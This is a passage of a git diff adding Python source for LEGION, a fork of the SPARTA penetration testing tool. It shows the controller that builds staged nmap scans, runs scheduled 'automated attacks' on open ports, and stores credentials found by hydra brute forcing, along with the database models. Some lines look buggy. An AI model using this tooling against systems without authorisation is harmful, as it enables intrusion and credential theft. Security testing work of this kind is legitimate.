self.stagedNmapSettings['stage4-ports'] + self.tools_nmap_stage5_ports = self.stagedNmapSettings['stage5-ports'] + + self.tools_path_nmap = self.toolSettings['nmap-path'] + self.tools_path_hydra = self.toolSettings['hydra-path'] + self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] + self.tools_path_texteditor = self.toolSettings['texteditor-path'] + + except KeyError: + print('\t[-] Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + print('\t[-] Go to the settings menu to fix the issues!') + # TODO: send signal to automatically open settings dialog here + + def __eq__(self, other): # returns false if settings objects are different + if type(other) is type(self): + return self.__dict__ == other.__dict__ + return False + +if __name__ == "__main__": + settings = AppSettings() + s = Settings(settings) + s2 = Settings(settings) + print(s == s2) + s2.general_default_terminal = 'whatever' + print(s == s2) diff --git a/controller/__init__.py b/controller/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py new file mode 100644 index 00000000..a077d289 --- /dev/null +++ b/controller/controller.py @@ -0,0 +1,682 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os, ntpath, signal, re, subprocess # for file operations, to kill processes, for regex, for subprocesses +try: + import queue +except: + import Queue as queue +from PyQt4.QtGui import * # for filters dialog +from app.logic import * +from app.auxiliary import * +from app.settings import * + +class Controller(): + + # initialisations that will happen once - when the program is launched + def __init__(self, view, logic): + self.version = 'LEGION 0.1.0' # update this everytime you commit! + self.logic = logic + self.view = view + self.view.setController(self) + + self.loadSettings() # creation of context menu actions from settings file and set up of various settings + self.initNmapImporter() + self.initScreenshooter() + self.initBrowserOpener() + self.start() # initialisations (globals, etc) + self.initTimers() + + # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime + def start(self, title='*untitled'): + self.processes = [] # to store all the processes we run (nmaps, niktos, etc) + self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) + #self.slowProcessQueue = Queue.Queue() # to manage slow processes (dirbuster, hydra, etc) + self.fastProcessesRunning = 0 # counts the number of fast processes currently running + self.slowProcessesRunning = 0 # counts the number of slow processes currently running + self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + self.updateOutputFolder() # tell screenshooter where the output folder is + self.view.start(title) + + def initNmapImporter(self): + self.nmapImporter = NmapImporter() + self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar + self.nmapImporter.done.connect(self.nmapImportFinished) + self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks + + def initScreenshooter(self): + self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) + self.screenshooter.done.connect(self.screenshotFinished) + + def initBrowserOpener(self): + self.browser = BrowserOpener() # browser opener object (different thread) + + def initTimers(self): # these timers are used to prevent from updating the UI several times within a short time period - which freezes the UI + self.updateUITimer = QTimer() + self.updateUITimer.setSingleShot(True) + self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) + self.updateUITimer.timeout.connect(self.view.updateToolsTableView) + + self.updateUI2Timer = QTimer() + self.updateUI2Timer.setSingleShot(True) + self.updateUI2Timer.timeout.connect(self.view.updateInterface) + + # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. + def loadSettings(self): + self.settingsFile = AppSettings() + self.settings = Settings(self.settingsFile) # load settings from conf file (create conf file first if necessary) + self.originalSettings = Settings(self.settingsFile) # save the original state so that we can know if something has changed when we exit SPARTA + self.logic.setStoreWordlistsOnExit(self.settings.brute_store_cleartext_passwords_on_exit=='True') + self.view.settingsWidget.setSettings(Settings(self.settingsFile)) + + def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) + print('[+] Applying settings!') + self.settings = newSettings + + def cancelSettings(self): # called when the user presses cancel in the Settings dialog + self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user + + def saveSettings(self): + if not self.settings == self.originalSettings: + print('[+] Settings have been changed.') + self.settingsFile.backupAndSave(self.settings) + else: + print('[+] Settings have NOT been changed.') + + def getSettings(self): + return self.settings + + #################### AUXILIARY #################### + + def getCWD(self): + return self.logic.cwd + + def getProjectName(self): + return self.logic.projectname + + def getVersion(self): + return self.version + + def getRunningFolder(self): + return self.logic.runningfolder + + def getOutputFolder(self): + return self.logic.outputfolder + + def getUserlistPath(self): + return self.logic.usernamesWordlist.filename + + def getPasslistPath(self): + return self.logic.passwordsWordlist.filename + + def updateOutputFolder(self): + self.screenshooter.updateOutputFolder(self.logic.outputfolder+'/screenshots') # update screenshot folder + + def copyNmapXMLToOutputFolder(self, filename): + self.logic.copyNmapXMLToOutputFolder(filename) + + def isTempProject(self): + return self.logic.istemp + + def getDB(self): + return self.logic.db + + def getRunningProcesses(self): + return self.processes + + def getHostActions(self): + return self.settings.hostActions + + def getPortActions(self): + return self.settings.portActions + + def getPortTerminalActions(self): + return self.settings.portTerminalActions + + #################### ACTIONS #################### + + def createNewProject(self): + self.view.closeProject() # removes temp folder (if any) + self.logic.createTemporaryFiles() # creates new temp files and folders + self.start() # initialisations (globals, etc) + + def openExistingProject(self, filename): + self.view.closeProject() + self.view.importProgressWidget.reset('Opening project..') + self.view.importProgressWidget.show() # show the progress widget + self.logic.openExistingProject(filename) + self.start(ntpath.basename(str(self.logic.projectname))) # initialisations (globals, signals, etc) + self.view.restoreToolTabs() # restores the tool tabs for each host + self.view.hostTableClick() # click on first host to restore his host tool tabs + self.view.importProgressWidget.hide() # hide the progress widget + + def saveProject(self, lastHostIdClicked, notes): + if not lastHostIdClicked == '': + self.logic.storeNotesInDB(lastHostIdClicked, notes) + + def saveProjectAs(self, filename, replace=0): + success = self.logic.saveProjectAs(filename, replace) + if success: + self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + return success + + def closeProject(self): + self.saveSettings() # backup and save config file, if necessary + self.screenshooter.terminate() + self.initScreenshooter() + self.logic.toggleProcessDisplayStatus(True) + self.view.updateProcessesTableView() # clear process table + self.logic.removeTemporaryFiles() + + def addHosts(self, iprange, runHostDiscovery, runStagedNmap): + if iprange == '': + print('[-] No hosts entered..') + return + + if runStagedNmap: + self.runStagedNmap(iprange, runHostDiscovery) + + elif runHostDiscovery: + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' + command = "nmap -n -sn -T4 "+iprange+" -oA "+outputfile + print("Running {command}".format(command=command)) + self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) + + else: + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmap-list' + command = "nmap -n -sL "+iprange+" -oA "+outputfile + self.runCommand('nmap', 'nmap (list)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (list)', True)) + + #################### CONTEXT MENUS #################### + + def getContextMenuForHost(self, isChecked, showAll=True): # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' + + menu = QMenu() + self.nmapSubMenu = QMenu('Portscan') + actions = [] + + for a in self.settings.hostActions: + if "nmap" in a[1] or "unicornscan" in a[1]: + actions.append(self.nmapSubMenu.addAction(a[0])) + else: + actions.append(menu.addAction(a[0])) + + if showAll: + actions.append(self.nmapSubMenu.addAction("Run nmap (staged)")) + + menu.addMenu(self.nmapSubMenu) + menu.addSeparator() + + if isChecked == 'True': + menu.addAction('Mark as unchecked') + else: + menu.addAction('Mark as checked') + + return menu, actions + + def handleHostAction(self, ip, hostid, actions, action): + + if action.text() == 'Mark as checked' or action.text() == 'Mark as unchecked': + self.logic.toggleHostCheckStatus(ip) + self.view.updateInterface() + return + + if action.text() == 'Run nmap (staged)': + print('[+] Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + if self.logic.getPortsForHostFromDB(ip, 'tcp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') + if self.logic.getPortsForHostFromDB(ip, 'udp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + self.runStagedNmap(ip, False) + return + + for i in range(0,len(actions)): + if action == actions[i]: + name = self.settings.hostActions[i][1] + invisibleTab = False + if 'nmap' in name: # to make sure different nmap scans appear under the same tool name + name = 'nmap' + invisibleTab = True + # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(name))+"/"+getTimestamp()+"-"+re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1]))+"-"+ip + command = str(self.settings.hostActions[i][2]) + command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) + # check if same type of nmap scan has already been made and purge results before scanning + if 'nmap' in command: + proto = 'tcp' + if '-sU' in command: + proto = 'udp' + + if self.logic.getPortsForHostFromDB(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, proto) + + tabtitle = self.settings.hostActions[i][1] + self.runCommand(name, tabtitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, invisibleTab)) + break + + def getContextMenuForServiceName(self, serviceName='*', menu=None): + if menu == None: # if no menu was given, create a new one + menu = QMenu() + + if serviceName == '*' or serviceName in self.settings.general_web_services.split(","): + menu.addAction("Open in browser") + menu.addAction("Take screenshot") + + actions = [] + for a in self.settings.portActions: + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu + actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) # in actions list write the service and line number that corresponds to it in portActions + + modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + if modifiers == QtCore.Qt.ShiftModifier: + shiftPressed = True + else: + shiftPressed = False + + return menu, actions, shiftPressed + + def handleServiceNameAction(self, targets, actions, action, restoring=True): + + if action.text() == 'Take screenshot': + for ip in targets: + url = ip[0]+':'+ip[1] + self.screenshooter.addToQueue(url) + self.screenshooter.start() + return + + elif action.text() == 'Open in browser': + for ip in targets: + url = ip[0]+':'+ip[1] + self.browser.addToQueue(url) + self.browser.start() + return + + for i in range(0,len(actions)): + if action == actions[i][1]: + srvc_num = actions[i][0] + for ip in targets: + tool = self.settings.portActions[srvc_num][1] + tabtitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool))+"/"+getTimestamp()+'-'+tool+"-"+ip[0]+"-"+ip[1] + + command = str(self.settings.portActions[srvc_num][2]) + command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) + + if 'nmap' in command and ip[2] == 'udp': + command=command.replace("-sV","-sVU") + + if 'nmap' in tabtitle: # we don't want to show nmap tabs + restoring = True + + self.runCommand(tool, tabtitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabtitle, restoring)) + break + + def getContextMenuForPort(self, serviceName='*'): + + menu = QMenu() + + modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + if modifiers == QtCore.Qt.ShiftModifier: + serviceName='*' + + terminalActions = [] # custom terminal actions from settings file + for a in self.settings.portTerminalActions: # if wildcard or the command is valid for this specific service or if the command is valid for all services + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': + terminalActions.append([self.settings.portTerminalActions.index(a), menu.addAction(a[0])]) + + menu.addSeparator() + menu.addAction("Send to Brute") + menu.addSeparator() + # dummy is there because we don't need the third return value + menu, actions, dummy = self.getContextMenuForServiceName(serviceName, menu) + +# menu.addSeparator() +# menu.addAction("Run custom command") + + return menu, actions, terminalActions + + def handlePortAction(self, targets, actions, terminalActions, action, restoring): + + if action.text() == 'Send to Brute': + for ip in targets: + self.view.createNewBruteTab(ip[0], ip[1], ip[3]) # ip[0] is the IP, ip[1] is the port number and ip[3] is the service name + return + + if action.text() == 'Run custom command': + print('custom command') + return + + terminal = self.settings.general_default_terminal # handle terminal actions + for i in range(0,len(terminalActions)): + if action == terminalActions[i][1]: + srvc_num = terminalActions[i][0] + for ip in targets: + command = str(self.settings.portTerminalActions[srvc_num][2]) + command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) + ## Future ## timeout = int(self.settings.portTerminalActions[srvc_num][3]) + subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True, timeout=5) + return + + self.handleServiceNameAction(targets, actions, action, restoring) + + def getContextMenuForProcess(self): + menu = QMenu() + killAction = menu.addAction("Kill") + clearAction = menu.addAction("Clear") + return menu + + def handleProcessAction(self, selectedProcesses, action): # selectedProcesses is a list of tuples (pid, status, procId) + + if action.text() == 'Kill': + if self.view.killProcessConfirmation(): + for p in selectedProcesses: + if p[1]!="Running": + if p[1]=="Waiting": + #print "\t[-] Process still waiting to start. Skipping." + if str(self.logic.getProcessStatusForDBId(p[2])) == 'Running': + self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) + self.logic.storeProcessCancelStatusInDB(str(p[2])) + else: + print("\t[-] This process has already been terminated. Skipping.") + else: + self.killProcess(p[0], p[2]) + self.view.updateProcessesTableView() + return + + if action.text() == 'Clear': # hide all the processes that are not running + self.logic.toggleProcessDisplayStatus() + self.view.updateProcessesTableView() + + #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def isHostInDB(self, host): + return self.logic.isHostInDB(host) + + def getHostsFromDB(self, filters): + return self.logic.getHostsFromDB(filters) + + def getServiceNamesFromDB(self, filters): + return self.logic.getServiceNamesFromDB(filters) + + def getProcessStatusForDBId(self, dbId): + return self.logic.getProcessStatusForDBId(dbId) + + def getPidForProcess(self,dbId): + return self.logic.getPidForProcess(dbId) + + def storeCloseTabStatusInDB(self,pid): + return self.logic.storeCloseTabStatusInDB(pid) + + def getServiceNameForHostAndPort(self, hostIP, port): + return self.logic.getServiceNameForHostAndPort(hostIP, port) + + #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def getPortsAndServicesForHostFromDB(self, hostIP, filters): + return self.logic.getPortsAndServicesForHostFromDB(hostIP, filters) + + def getHostsAndPortsForServiceFromDB(self, serviceName, filters): + return self.logic.getHostsAndPortsForServiceFromDB(serviceName, filters) + + def getHostInformation(self, hostIP): + return self.logic.getHostInformation(hostIP) + + def getPortStatesForHost(self, hostid): + return self.logic.getPortStatesForHost(hostid) + + def getScriptsFromDB(self, hostIP): + return self.logic.getScriptsFromDB(hostIP) + + def getScriptOutputFromDB(self,scriptDBId): + return self.logic.getScriptOutputFromDB(scriptDBId) + + def getNoteFromDB(self, hostid): + return self.logic.getNoteFromDB(hostid) + + def getHostsForTool(self, toolname, closed='False'): + return self.logic.getHostsForTool(toolname, closed) + + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + + def getProcessesFromDB(self, filters, showProcesses=''): + return self.logic.getProcessesFromDB(filters, showProcesses) + + #################### PROCESSES #################### + + def checkProcessQueue(self): +# print '# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes) +# print '# fast processes running: ' + str(self.fastProcessesRunning) +# print '# fast processes queued: ' + str(self.fastProcessQueue.qsize()) + + if not self.fastProcessQueue.empty(): + if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): + next_proc = self.fastProcessQueue.get() + if not self.logic.isCanceledProcess(str(next_proc.id)): + #print '[+] Running: '+ str(next_proc.command) + next_proc.display.clear() + self.processes.append(next_proc) + self.fastProcessesRunning += 1 + # Add Timeout # Cheetos + next_proc.waitForFinished(10) + next_proc.start(next_proc.command) + self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) + elif not self.fastProcessQueue.empty(): +# print '> next process was canceled, checking queue again..' + self.checkProcessQueue() +# else: +# print '> cannot run processes in the queue' +# else: +# print '> queue is empty' + + def cancelProcess(self, dbId): + print('[+] Canceling process: ' + str(dbId)) + self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled + self.updateUITimer.stop() + self.updateUITimer.start(1500) # update the interface soon + + def killProcess(self, pid, dbId): + print('[+] Killing process: ' + str(pid)) + self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed + try: + os.kill(int(pid), signal.SIGTERM) + except OSError: + print('\t[-] This process has already been terminated.') + except: + print("\t[-] Unexpected error:", sys.exc_info()[0]) + + def killRunningProcesses(self): + print('[+] Killing running processes!') + for p in self.processes: + p.finished.disconnect() # experimental + self.killProcess(int(p.pid()), p.id) + + # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID + # the last 3 parameters are only used when the command is a staged nmap + def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox, discovery=True, stage=0, stop=False): + self.logic.createFolderForTool(name) # create folder for tool if necessary + qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + #textbox.setProperty('dbId', QVariant(str(self.logic.addProcessToDB(qProcess)))) # database id for the process is stored so that we can retrieve the widget later (in the tools tab) + #.toString() + textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + #print '[+] Queuing: ' + str(command) + self.fastProcessQueue.put(qProcess) + qProcess.display.appendPlainText('The process is queued and will start as soon as possible.') + qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the configuration file.') + #qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the Settings menu.') + self.checkProcessQueue() + + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) + # while the process is running, when there's output to read, display it in the GUI + QObject.connect(qProcess,SIGNAL("readyReadStandardOutput()"),qProcess,SLOT("readStdOutput()")) + QObject.connect(qProcess,SIGNAL("readyReadStandardError()"),qProcess,SLOT("readStdOutput()")) + # when the process is finished do this + qProcess.sigHydra.connect(self.handleHydraFindings) + qProcess.finished.connect(lambda: self.processFinished(qProcess)) + qProcess.error.connect(lambda: self.processCrashed(qProcess)) + + if stage > 0 and stage < 5: # if this is a staged nmap, launch the next stage + qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery, stage+1, self.logic.isKilledProcess(str(qProcess.id)))) + + return qProcess.pid() # return the pid so that we can kill the process if needed + + # recursive function used to run nmap in different stages for quick results + def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): + if not stop: + textbox = self.view.createNewTabForHost(str(iprange), 'nmap (stage '+str(stage)+')', True) + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) + + if stage == 1: # webservers/proxies + ports = self.settings.tools_nmap_stage1_ports + elif stage == 2: # juicy stuff that we could enumerate + db + ports = self.settings.tools_nmap_stage2_ports + elif stage == 3: # bruteforceable protocols + portmapper + nfs + ports = self.settings.tools_nmap_stage3_ports + elif stage == 4: # first 30000 ports except ones above + ports = self.settings.tools_nmap_stage4_ports + else: # last 35535 ports + ports = self.settings.tools_nmap_stage5_ports + + command = "nmap " + if not discovery: # is it with/without host discovery? + command += "-Pn " + command += "-T4 -sV " # without scripts (faster) + if not stage == 1: + command += "-n " # only do DNS resolution on first stage + if os.geteuid() == 0: # if we are root we can run SYN + UDP scans + command += "-sSU " + if stage == 2: + command += "-O " # only check for OS once to save time and only if we are root otherwise it fails + else: + command += "-sT " + command += "-p "+ports+' '+iprange+" -oA "+outputfile + + self.runCommand('nmap','nmap (stage '+str(stage)+')', str(iprange), '', '', command, getTimestamp(True), outputfile, textbox, discovery, stage, stop) + + def nmapImportFinished(self): + self.updateUI2Timer.stop() + self.updateUI2Timer.start(800) + self.view.importProgressWidget.hide() # hide the progress widget + self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) + + def screenshotFinished(self, ip, port, filename): + dbId = self.logic.addScreenshotToDB(str(ip),str(port),str(filename)) + imageviewer = self.view.createNewTabForHost(ip, 'screenshot ('+port+'/tcp)', True, '', str(self.logic.outputfolder)+'/screenshots/'+str(filename)) + imageviewer.setProperty('dbId', QVariant(str(dbId))) + self.view.switchTabClick() # to make sure the screenshot tab appears when it is launched from the host services tab + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) + + def processCrashed(self, proc): + #self.processFinished(proc, True) + self.logic.storeProcessCrashStatusInDB(str(proc.id)) + print('\t[+] Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) + qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") + print('\t[+] Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + + # this function handles everything after a process ends + #def processFinished(self, qProcess, crashed=False): + def processFinished(self, qProcess): + #print 'processFinished!!' + try: + if not self.logic.isKilledProcess(str(qProcess.id)): # if process was not killed + if not qProcess.outputfile == '': + self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file + + if 'nmap' in qProcess.name: # if the process was nmap, use the parser to store it + if qProcess.exitCode() == 0: # if the process finished successfully + newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) + self.nmapImporter.setFilename(str(newoutputfile)+'.xml') + self.view.importProgressWidget.reset('Importing nmap..') + self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) + self.nmapImporter.start() + if self.view.menuVisible == False: + self.view.importProgressWidget.show() + if qProcess.exitCode() != 0: + print("\t[+] Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + self.processCrashed(qProcess) + + print("\t[+] Process {qProcessId} is done!".format(qProcessId=qProcess.id)) + + + self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) + + if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI + self.view.findFinishedBruteTab(str(self.logic.getPidForProcess(str(qProcess.id)))) + + try: + self.fastProcessesRunning =- 1 + self.checkProcessQueue() + self.processes.remove(qProcess) + self.updateUITimer.stop() + self.updateUITimer.start(1500) # update the interface soon + + except Exception as e: + print("Process Finished Cleanup Exception {e}".format(e=e)) + except Exception as e: # fixes bug when receiving finished signal when project is no longer open. + print("Process Finished Exception {e}".format(e=e)) + raise + + def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red + self.view.blinkBruteTab(bWidget) + for username in userlist: + self.logic.usernamesWordlist.add(username) + for password in passlist: + self.logic.passwordsWordlist.add(password) + + # this function parses nmap's output looking for open ports to run automated attacks on + def scheduler(self, parser, isNmapImport): + if isNmapImport and self.settings.general_enable_scheduler_on_import == 'False': + return + if self.settings.general_enable_scheduler == 'True': + print('[+] Scheduler started!') + + for h in parser.all_hosts(): + for p in h.all_ports(): + if p.state == 'open': + s = p.get_service() + if not (s is None): + self.runToolsFor(s.name, h.ip, p.portId, p.protocol) + + print('-----------------------------------------------') + print('[+] Scheduler ended!') + + def runToolsFor(self, service, ip, port, protocol='tcp'): + print('\t[+] Running tools for: ' + service + ' on ' + ip + ':' + port) + + if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it + service=service[:-1] + + for tool in self.settings.automatedAttacks: + if service in tool[1].split(",") and protocol==tool[2]: + if tool[0] == "screenshooter": + url = ip+':'+port + self.screenshooter.addToQueue(url) + self.screenshooter.start() + + else: + for a in self.settings.portActions: + if tool[0] == a[1]: + restoring = False + tabtitle = a[1]+" ("+port+"/"+protocol+")" + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port + command = str(a[2]) + command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) + + if 'nmap' in tabtitle: # we don't want to show nmap tabs + restoring = True + + tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) + self.runCommand(tool[0], tabtitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, not (tab == 'Hosts'))) + break + diff --git a/db/__init__.py b/db/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/db/database.py b/db/database.py new file mode 100644 index 00000000..d06da605 --- /dev/null +++ b/db/database.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +#from elixir import metadata, Entity, Field +#from elixir import create_all, setup_all, session +#from elixir import Unicode, UnicodeText +from PyQt4.QtCore import QSemaphore +import time + +from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine +from sqlalchemy.orm import relationship, backref, sessionmaker +from sqlalchemy.orm.scoping import scoped_session +from sqlalchemy.ext.declarative import declarative_base + +from six import u as unicode + +Base = declarative_base() + +class process(Base): + __tablename__ = 'process' + pid = Column(String) + id = Column(Integer, primary_key=True) + display=Column(String) + name=Column(String) + tabtitle=Column(String) + hostip=Column(String) + port=Column(String) + protocol=Column(String) + command=Column(String) + starttime=Column(String) + endtime=Column(String) + outputfile=Column(String) + output=relationship("process_output", uselist=False, backref="process") + status=Column(String) + closed=Column(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +# This class holds various info about an nmap scan +class nmap_session(Base): + __tablename__ = 'nmap_session' + filename=Column(String, primary_key=True) + start_time=Column(String) + finish_time=Column(String) + nmap_version=Column(String) + scan_args=Column(String) + total_hosts=Column(String) + up_hosts=Column(String) + down_hosts=Column(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + + +class nmap_os(Base): + __tablename__ = 'nmap_os' + name=Column(String, primary_key=True) + family=Column(String) + generation=Column(String) + os_type=Column(String) + vendor=Column(String) + accuracy=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Base): + __tablename__ = 'nmap_port' + port_id=Column(String) + id=Column(Integer, primary_key=True) + protocol=Column(String) + state=Column(String) + host_id=Column(String, ForeignKey('nmap_host.hostname')) + service_id=Column(String, ForeignKey('nmap_service.name')) + script_id=Column(String, ForeignKey('nmap_script.script_id')) + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host_id=host + self.service=service + +class nmap_service(Base): + __tablename__ = 'nmap_service' + name=Column(String) + id=Column(String, primary_key=True) + product=Column(String) + version=Column(String) + extrainfo=Column(String) + fingerprint=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.id=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Base): + __tablename__ = 'nmap_script' + script_id=Column(String) + id=Column(String, primary_key=True) + output=Column(String) + port_id=Column(String, ForeignKey('nmap_port.port_id')) + host_id=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.id=script_id + self.output=unicode(output) + self.port_id=portId + self.host_id=hostId + +class nmap_host(Base): + __tablename__ = 'nmap_host' + checked=Column(String) + os_match=Column(String) + os_accuracy=Column(String) + ip=Column(String) + ipv4=Column(String) + ipv6=Column(String) + macaddr=Column(String) + status=Column(String) + hostname=Column(String) + id = Column(Integer, primary_key=True) + vendor=Column(String) + uptime=Column(String) + lastboot=Column(String) + distance=Column(String) + state=Column(String) + count=Column(String) + + # host relationships + os=Column(String, ForeignKey('nmap_os.name')) + ports=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + #self.id=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + + +class note(Base): + __tablename__ = 'note' + host_id=Column(String) + text=Column(String, 